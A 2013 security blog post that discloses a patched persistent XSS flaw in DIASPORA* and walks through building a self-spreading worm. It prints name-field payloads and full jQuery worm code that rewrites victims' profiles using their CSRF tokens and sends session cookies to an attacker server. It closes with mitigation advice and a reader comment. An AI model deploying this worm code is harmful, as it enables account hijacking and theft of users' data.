Twitter
« Retrofitting Code for Content Security Policy | Main | Network Testing 101: If Your Name's Not Down, You're Not Getting In »
Wednesday
May082013

Writing an XSS Worm

User privacy is an increasingly important part of the Internet, and the social network DIASPORA* prides itself upon the creed that users own the data that they publish on sites. In a modern world, security often takes precedence over belief. There is no reason that a malicious attacker can’t take the data which DIASPORA* stores on their own servers and use it for whatever purposes they desire.

Multiple vulnerabilities (including an XSS exploit) manifest themselves in DIASPORA*, such that it was possible for any user to export a user’s profile data and potentially compromise every DIASPORA* instance (or in DIASPORA* terminology, pod) running on the Internet.

To begin with the methodology for achieving this, first an initial exploit must be found. In the case of DIASPORA*, it is a Persistent Cross Site Scripting (XSS) vulnerability found in the user’s name as it is rendered un-encoded back on the the user’s profile (i.e. /u/user_name). DIASPORA* uses a set of JSON formatted attributes to create a navigation bar with user specific information such as name, id, and email.

<script>
    window.current_user_attributes = {
        “id”: 3,
        “guid”: “5a2d8a950e39165e”,
        “name”: “Kevin Chung”,
        “diaspora_id”: “superduper@localhost:3000”,
        “avatar”: {

Normal Profile Data

In searches and the user’s public profile page, their name is rendered back to other users un-encoded. This is our best medium for spreading our payload not counting sending out mass messages. In searches, the user must show up in the autocompleted form for it to be vulnerable. The full search page is not susceptible to this vulnerability.  

DIASPORA* will do escaping of quotes and slashes, but it does not do any form of encoding for the name field. There is a size limit of 32 characters on each the first name and last name and the two are separated by a space in the script thus giving us 64 characters to work with. Knowing this, it is possible to change our first name to </script><script> and our last name to alert(0)</script> which would achieve the a mostly boring, standard XSS testing payload.  You’ll notice that the first name starts with a </script> which closes out the original start tag and then begins its own script tag.

<script>
//<![CDATA[
Mentions.options.prefillMention = Mentions._contactToMention({
    “id”: 3,
    “guid”: “927643f9c89784b1”,
    “name”: “</script><script> alert(0)</script>”,
    “avatar”: “/assets/user/default.png”,
    “handle”: “jedi_guy@localhost:3000”,
    “url”: “/people/927643f9c89784b1”
});
//]]>
</script>

Profile with XSS


Instead of just alerts, we can give ourselves a much larger space to work with by using </script><script src= as our first name and //goo.gl/AAAAA</script> as our last name. The goo.gl URL should point to a JavaScript file of our choosing.  Now that we are not limited by size, we can go ahead and begin propagating ourselves throughout the DIAPOSRA* pod. Fortunately, DIASPORA* leverages jQuery, so writing JavaScript will be much less verbose than it normally tends to be.

If we wish to be extremely destructive, we can simply do an AJAX GET and POST to have any user which gets hit with our payload become a propagator of the payload as well. We require the GET initially as DIASPORA* includes a nonce on the profile page in order to prevent Cross Site Request Forgery (CSRF) attacks and therefore our subsequent POST requires a valid nonce in order to be valid.

$(‘html’).hide();

if(window.location.pathname == ‘/profile/edit’){
    window.location=”/404”;
}

else if(window.location.pathname.substr(1,2) == ‘u/’ || window.location.pathname.substr(1,6) == ‘people’){
    var first = $(‘.find’).prev().html();
    var second = $(‘.find’).next().html();
    eval(first +”You’re Owned”+ second);
}

else{
    var intervalID = setInterval(function(){
            var first = $(‘.find’).prev().html();
            var second = $(‘.find’).next().html();
            eval(first +”You’re Owned”+ second);
        },5);
}

$(document).ready(function(){
    window.clearInterval(intervalID);
    $(‘.message’).hide();
    $(‘html’).show();
    $(document.createElement(‘img’)).attr({‘src’ : ‘http://localhost/diaspora.php?cookie=’+document.cookie});
});


deploy(‘//goo.gl/AT64G’);

function deploy(payload){
    $.get(‘/profile/edit’, function(data) {
        var first_name = $(‘#profile_first_name’,data).val();
        var last_name = $(‘#profile_last_name’,data).val();
        if (first_name == ‘</script><script class=”find” src=’)
            return;

          var utf = $(‘input[name=”utf8”]’, data).text();
          var authenticity_token = $(data).filter(‘meta[name=”csrf-token”]’).attr(“content”);
          var bio = $(‘#profile_bio’,data).html();
          var loc = $(‘#profile_location’,data).val();
          var gen = $(‘#profile_gender’,data).val();
          var year = $(‘#profile_date_year’, data).find(“:selected”).text();

          if (year == ‘Year’)
              year = ”;

          var month = $(‘#profile_date_month’, data).find(“:selected”).text();
          if (month == ‘Month’)
              month = ”;

          var day = $(‘#profile_date_day’, data).find(“:selected”).text();
          if (day == ‘Day’)
              day = ”;

          var tags = data.search(‘var data’) + 25;
          var tags_end = data.search(‘autocompleteInput’) - 15;
          tags_end = jQuery.parseJSON(data.slice(tags, tags_end));
          tags = ‘,’;
          for( key in tags_end){
              tags += tags_end[key].value + ‘,’;
          }
          $.post(“/profile”,
              {
                  ‘utf8’: “&#x2713;”,
                  ‘_method’: ‘put’,
                  ‘authenticity_token’: authenticity_token,
                  ‘profile[first_name]’: “</script><script class=”find” src=”,
                  ‘profile[last_name]’: payload+”></script><script>”,
                  ‘profile[tag_string]’: ”,
                  ‘tags’: tags,
                  ‘file’: ”,
                  ‘profile[bio]’: bio,
                  ‘profile[location]’: loc,
                  ‘profile[gender]’: gen,
                  ‘profile[date][year]’: year,
                  ‘profile[date][month]’: month,
                  ‘profile[date][day]’: day,
                  ‘profile[searchable]’: ‘true’,
                  ‘commit’: ‘Update Profile’
              }
          );
    });
}

Exploit Code

Next it is important to determine what can be used to spread our payload. The most obvious is our profile which has our malicious name. We can also adapt our script to scrape contacts and send them messages asking them to visit our profile, replicating how many XSS worms have propagated in the past. DIASPORA* makes an additional oversight in that the search autocomplete functionality will render names un-encoded to the user. Thus users who are not directly connected to infected users can additionally be infected by searching and finding an infected user.

Now that we’ve begun spreading ourselves through DIASPORA* we could capitalize upon what we have accessible. DIASPORA* allows users to download their photos and an XML file containing their data (posts, contacts, messages, profile information, and a GPG key pair). We can have JavaScript send the user’s cookies to a server as DIASPORA* makes no use of the HTTPOnly flag for their session cookie.  If HTTPOnly was enabled it wouldn’t really matter, as we could have the XSS payload pull the XML and POST it to our server instead of having the server get it.

In summary, we were able to utilize a variety of vulnerabilities in DIASPORA* to augment the main XSS payload and potentially acquire significant amounts of user data. This reinforces the message for web developers: no user input should ever be trusted. Unencoded user input is of course the root cause of this issue. Input validation, and input or output encoding should always be used in any scenario where user input is taken. 

Additionally, HTTPOnly should be on all cookies not required to be accessed by JavaScript. This is not a cure all, as it is still possible to submit queries through XSS riding on the valid session stored in the cookie without stealing it.  
While typical nonce based CSRF is in place, XSS is able to bypass it easily. A CSRF referrer check should be put in place for the profile page as an attacker would not be in a valid position to spoof the referrer for another user but themselves. To clarify, profile edits should be validated to only come from /profile/edit and not from any other location on DIASPORA*. While XSS can typically be used to bypass CSRF referrer checks, in this scenario the attacker would not have control over the normal edit profile page as it would be on an uninfected user. This would have successfully prevented a spread of this XSS worm.

This issue was reported to the developer at 2013-02-01 06:53:36 and the patch was committed at 2013-02-01 13:20:31.

Reader Comments (1)

I'm confused how a referrer check could prevent POSTing to /profile from the same domain. Couldn't the original XSS payload create an iframe and load /profile/edit it, then inject a script to in there to read the CSRF token and do the POST? (or just update the name field on that page and submit the form)
May 13, 2013 | Unregistered CommenterPaul Stone

PostPost a New Comment

Enter your information below to add a new comment.

My response is on my own website »
Author Email (optional):
Author URL (optional):
Post:
 
All HTML will be escaped. Hyperlinks will be created for URLs automatically.